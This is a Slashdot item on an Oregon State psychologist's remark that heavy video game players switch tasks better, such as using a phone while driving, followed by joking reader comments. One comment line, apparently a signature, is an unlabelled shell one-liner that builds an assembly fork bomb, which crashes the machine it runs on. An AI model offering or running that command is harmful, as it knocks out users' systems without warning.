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Gamers Better at Driving w/ Cell Phones?
sl4shd0rk writes "A lot of people think talking on the cell phone while driving is natural, but each time someone asks a question or changes the subject, it's like taking on a new task, Psychologists who study multi-tasking have argued for years about whether these "information bottlenecks" occur because people are inherently lazy, or because they have a fundamental inability to switch from one task to another. Mei-Ching Lien, an assistant professor of psychology at Oregon State University. "Even with a seemingly simple task, structural cognitive limitations can prevent you from efficiently switching to a new task."
I have to say that the best ones are those who play a lot of video games," she pointed out. "Those are lab studies, however, and not driving tests." " All I know is that I could get where I was going better if I could shoot turtles at others on the highway.
. . . I play Quake. Wonder if this works for drunk driving, too :).
Well i know i used a mushroom to get into this pole position
All I know is that I could get where I was going better if I could shoot turtles at others on the highway.
:-D
Sure, but then the other cars will slow down or spin at your oil patches.
(For the people who wonder: Mario kart!)
Dependency hell? =>
That's because the average person has no skills.
Most gamers on the other hand have like nunchuck skills, bowhunting skills, computer hacking skills, etc...
Having such a large repertoire of skills, over the years gamers have had to learn better multitasking skills out of necessity (unless, of course, you have a sweet bike or a mustache).
I'll just say that it's normal to embrace enthusiastically any message that tells you you're better than most other people.
Wohoo! I'm normal now!
Yeah, it reminds me of a joke about ultra male English drivers.
I break the speed limit, tailgate and drive after 3 pints. But it's ok, because I'm a good driver with a very fast car.
Testosterone poisoning I call it.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Now I tuned my car to the max stripping all the boring bits off like roof, lights etc and powerslide my way around corners at 200 miles per hour (grand prix legends) but do you think that is tolerated? NOooooo. I guess the police here is still pissed they had to give up their porches and take it out on anyone who think the speed limit is meant to be a minimum.
MMO Quests are like orgasms:
You may solo them, I prefer them in a group.
"If your mommy talks on the phone while she's driving
She doesn't love you very much"
50/50 isn't really accurate. It varies depending on your Dexterity modifiers.
The frame rate is so much better!